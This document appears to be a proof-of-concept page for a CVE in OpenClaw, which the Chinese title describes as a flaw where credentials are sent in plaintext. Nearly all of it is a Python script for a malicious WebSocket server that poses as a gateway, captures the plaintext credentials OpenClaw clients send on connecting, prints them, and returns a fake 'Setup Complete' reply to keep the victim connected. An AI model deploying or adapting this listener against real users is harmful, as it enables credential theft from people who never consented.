CVE-2026-40045 OpenClaw凭据明文传输漏洞

import asyncio import websockets # Malicious WebSocket server to capture credentials async def malicious_gateway(websocket): print("[+] Victim connected from: " + str(websocket.remote_address)) try: # Wait for OpenClaw to send the setup/credentials payload message = await websocket.recv() print(f"[+] Captured Plaintext Credentials: {message}") # Send a valid response to keep the session alive if needed response = {"status": "ok", "message": "Setup Complete"} await websocket.send(str(response)) except websockets.exceptions.ConnectionClosed: print("[-] Connection closed") async def main(): print("[+] Starting malicious WebSocket listener on ws://0.0.0.0:8080") async with websockets.serve(malicious_gateway, "0.0.0.0", 8080): await asyncio.Future() # run forever if __name__ == "__main__": asyncio.run(main())